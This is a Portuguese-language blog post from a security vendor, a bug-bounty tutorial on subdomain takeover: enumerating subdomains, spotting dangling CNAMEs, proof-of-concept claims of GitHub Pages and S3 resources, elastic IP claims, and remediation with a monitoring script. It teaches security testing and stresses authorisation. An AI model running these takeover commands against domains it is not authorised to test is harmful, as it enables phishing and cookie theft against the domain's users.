剣 KENSAI
← Voltar ao Blog
Recon e aquisição Abril 3, 2026 20 leitura mínima

Aquisição de subdomínio: detecção passo a passo e guia de prova de conceito

O controle de subdomínios é uma das vulnerabilidades de alta gravidade reproduzíveis de maneira mais confiável em programas de recompensa de bugs. Quando um registro CNAME aponta para um serviço não reivindicado, qualquer invasor pode registrar esse serviço e veicular conteúdo malicioso em seu domínio confiável, roubando cookies, realizando phishing e ignorando restrições CORS.

500+
Impressões digitais em Can-I-Take-Over-XYZ
$500-$5K
Faixa típica de recompensas
Alto
Gravidade Comum
Minutos
Para explorar se estiver vulnerável

Compreendendo o controle de subdomínio

ℹ️ A Cadeia de Vulnerabilidade

Um controle de subdomínio ocorre quando: (1) legacy.company.com tem um CNAME apontando para company.azurewebsites.net, (2) o Azure Web App é excluído/desprovisionado, deixando o CNAME "pendente", (3) um invasor registra um novo Azure Web App com o mesmo nome de host, (4) o invasor agora controla o conteúdo servido em legacy.company.com.

Por que é de alta gravidade


Fase 1: Descoberta de Ativos

Enumeração de subdomínio

# Passive enumeration
subfinder -d target.com -silent -all -o passive_subs.txt

# Active brute force
amass enum -active -d target.com -o active_subs.txt

# Certificate transparency
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
  jq -r '.[].name_value' | sort -u | tee ct_subs.txt

# Combine and deduplicate
cat passive_subs.txt active_subs.txt ct_subs.txt | \
  sort -u > all_subs.txt

Verificação de resolução DNS

# Check which subdomains resolve
cat all_subs.txt | dnsx -silent -resp | tee resolved_subs.txt

# Find CNAMEs
cat all_subs.txt | dnsx -silent -cname -resp | tee cnames.txt

# Example output:
# legacy.target.com -> company.azurewebsites.net
# api-old.target.com -> company.github.io
# status.target.com -> company.statuspage.io

Fase 2: Identificação de CNAMEs pendentes

Verificação manual

# Check if the CNAME target is unclaimed
dig +short legacy.target.com
# Returns: company.azurewebsites.net

# Check if that hostname responds
curl -v -H "Host: company.azurewebsites.net" \
  https://company.azurewebsites.net 2>&1 | head -20

# Look for "takeover fingerprints":
# Azure: "404 Web Site not found"
# GitHub Pages: "There isn't a GitHub Pages site here"
# Heroku: "No such app"
# AWS S3: "NoSuchBucket"
# Fastly: "Fastly error: unknown domain"

Detecção Automatizada com Núcleos

# Nuclei has built-in subdomain takeover templates
nuclei -l all_subs.txt -t takeovers/ -silent

# Or use subjack
go install github.com/haccer/subjack@latest
subjack -w all_subs.txt -t 100 -timeout 30 \
  -ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json \
  -o takeover_results.txt

A referência Can-I-Take-Over-XYZ

O can-i-take-over-xyz repositório mantém impressões digitais para serviços 500+. Principais serviços a serem verificados:

ServiçoImpressão digitalAssumir?
GitHub Pages"Não há um site de páginas GitHub aqui"✅ Sim
AWS S3"NoSuchBucket"✅ Sim (mesma região)
Aplicativos Web do Azure"Site 404 não encontrado"✅ Sim
Heroku"Esse aplicativo não existe"✅ Sim
Shopify"Desculpe, esta loja não está disponível no momento"✅ Sim
Fastly"Erro rápido: domínio desconhecido"✅ Sim
Pantheon"404 erro site desconhecido"✅ Sim
Wordpress.com"Você quer se registrar..."✅ Sim
Zendesk"Central de Ajuda Fechada"✅ Sim
Surto.sh"projeto não encontrado"✅ Sim

Fase 3: Prova de Conceito (Seguro)

⚠️ Ética PoC

Um PoC responsável demonstra impacto SEM: veicular conteúdo malicioso, capturar quaisquer cookies/sessões de usuários reais, personificar o alvo ou causar qualquer interrupção. Sua página PoC deve identificar-se claramente como uma demonstração de pesquisa de segurança e não conter nenhuma funcionalidade confidencial.

GitHub Aquisição de páginas PoC

# Step 1: Confirm dangling CNAME
dig +short blog-old.target.com
# Returns: targetcompany.github.io

# Step 2: Check fingerprint
curl -s https://blog-old.target.com | grep -i "github"
# Returns: "There isn't a GitHub Pages site here"

# Step 3: Create PoC repository
# Create GitHub repo: targetcompany.github.io (if available) or
# Create GitHub Pages with custom domain matching CNAME target

# Step 4: Add CNAME file in repo
echo "blog-old.target.com" > CNAME

# Step 5: Add responsible PoC page
cat > index.html << 'EOF'
<!-- SECURITY RESEARCH - SUBDOMAIN TAKEOVER PoC -->
<!-- This page is hosted by a security researcher -->
<!-- to demonstrate a subdomain takeover vulnerability -->
<!-- No malicious actions are being performed -->
<h1>Subdomain Takeover - Security Research PoC</h1>
<p>This subdomain (blog-old.target.com) is vulnerable to takeover.</p>
<p>Researcher: [your handle]</p>
<p>Reported: [date]</p>
EOF

Aquisição de bucket AWS S3 PoC

# Confirm dangling CNAME
dig +short assets-legacy.target.com
# Returns: target-legacy-assets.s3.amazonaws.com

# Check response
curl -v https://assets-legacy.target.com 2>&1 | grep -i "NoSuchBucket"
# "The specified bucket does not exist" -> Vulnerable!

# Extract region from response headers or try:
# us-east-1 is default if no region header

# Create PoC bucket (SAME NAME as CNAME target)
aws s3 mb s3://target-legacy-assets --region us-east-1

# Enable static hosting
aws s3 website s3://target-legacy-assets \
  --index-document index.html

# Upload responsible PoC
echo "<h1>Subdomain Takeover PoC - Security Research</h1>" | \
  aws s3 cp - s3://target-legacy-assets/index.html \
  --content-type text/html --acl public-read

Documentando o impacto

# Demonstrate cookie access (ONLY with test account YOU control)
# Create a test account, set cookies, visit your PoC page
# Screenshot showing document.cookie contents
# This proves cookie theft scope

# Document with screenshots:
# 1. DNS lookup showing dangling CNAME
# 2. Fingerprint response (NoSuchBucket, etc.)
# 3. Your PoC page hosted at the subdomain
# 4. Browser showing the legitimate domain + your content
# 5. (Optional) Test cookie access from own test account

Fase 4: Correções Permanentes

Remediação Imediata

  1. Remova o CNAME pendente — Exclua o registro DNS apontando para o serviço não reivindicado
  2. Ou recuperar o serviço — Registre novamente o nome do host de destino no provedor de serviços
  3. Audite todos os outros subdomínios em busca de registros pendentes semelhantes

Prevenção a longo prazo

# Automate continuous subdomain monitoring
# Check all CNAMEs weekly for dangling status

#!/bin/bash
# monitor_dangling_cnames.sh
while IFS= read -r subdomain; do
  cname=$(dig +short CNAME "$subdomain" | head -1)
  if [ -n "$cname" ]; then
    # Resolve the CNAME target
    ip=$(dig +short "$cname" | tail -1)
    if [ -z "$ip" ]; then
      echo "DANGLING CNAME: $subdomain -> $cname"
      # Send alert
    fi
  fi
done < subdomains.txt

Lista de verificação de prevenção de aquisição de subdomínio


A Records e NS Takeovers

Aquisições de registro (IPs elásticos)

💡 Muitas vezes esquecido: uma aquisição recorde

Semelhante às aquisições CNAME, os registros A que apontam para IPs elásticos liberados ou IPs públicos do Azure podem ser assumidos pelo próximo cliente que obtiver esse IP. Os IPs elásticos da AWS e os PIPs do Azure liberados para o pool podem ser reatribuídos à conta de qualquer cliente.

# Check if A record points to a cloud IP that's unallocated
dig +short api-legacy.target.com
# Returns: 52.xxx.xxx.xxx

# Check if the IP belongs to AWS
curl https://ip-ranges.amazonaws.com/ip-ranges.json | \
  python3 -c "import json,sys; \
  [print(p['prefix'], p['region'], p['service']) \
  for p in json.load(sys.stdin)['prefixes'] \
  if '52.xxx.xxx' in p.get('ip_prefix','')]"

# If AWS IP, try to claim it by spinning up EC2 with that IP
# (Only do with explicit permission)

Aquisição NS (mais crítica)

⚠️ NS Takeover = Controle total da zona

Se um subdomínio delegar servidores de nomes para uma zona que não existe mais (domínio expirado), um invasor poderá registrar esse domínio e controlar TODOS os DNS do subdomínio. Isso é mais raro, mas resulta em controle completo de subdomínios, incluindo email, HTTPS e todos os subdomínios da zona delegada.

Monitore continuamente aquisições de subdomínios

O gerenciamento de superfície de ataque do KENSAI monitora continuamente seus subdomínios em busca de CNAMEs pendentes, serviços desprovisionados e riscos de aquisição antes que os invasores os encontrem.

Iniciar verificação gratuita →

Perguntas frequentes

A aquisição de um subdomínio é sempre uma vulnerabilidade crítica?

A gravidade depende da função e do nível de confiança do subdomínio. Um subdomínio de marketing sem cookies no escopo pode ser Médio. Um subdomínio listado como um URI de redirecionamento OAuth, confiável pelas políticas CORS, ou recebendo cookies com escopo para o domínio raiz é Crítico. Sempre avalie os caminhos de ataque reais disponíveis para um invasor que controla o subdomínio.

Posso assumir o controle do subdomínio durante a pesquisa sem permissão?

Isso depende inteiramente das regras do seu programa de recompensas por bugs. Muitos programas permitem aquisições de PoC com uma página de divulgação responsável. Alguns proíbem explicitamente. Em caso de dúvida, forneça a evidência DNS (CNAME pendente + resposta de impressão digital) sem assumir o controle. Inclua uma captura de tela do que seria possível fazer caso o serviço fosse registrado.

Quanto tempo os programas têm para remediar?

As aquisições de subdomínios devem ser tratadas como críticas — a correção é simples (excluir o registro DNS) e o risco de exploração real por invasores é alto. A maioria dos programas espera correção no mesmo dia ou no dia seguinte para aquisições de subdomínios ativos.

A segurança não é opcional.

🗡️ A equipe KENSAI

Artigos relacionados

CVE-2026-3880: script entre sites (XSS) no Zohocorp ManageEngine Exchange Repo SentinelOne mapeia uma cadeia de intrusão em 8 etapas; SANS alerta sobre tráfego malicioso Falha no Smart Slider para WordPress afeta 500 mil sites; TP-Link e Cisco IOS corrigem vulnerabilidades.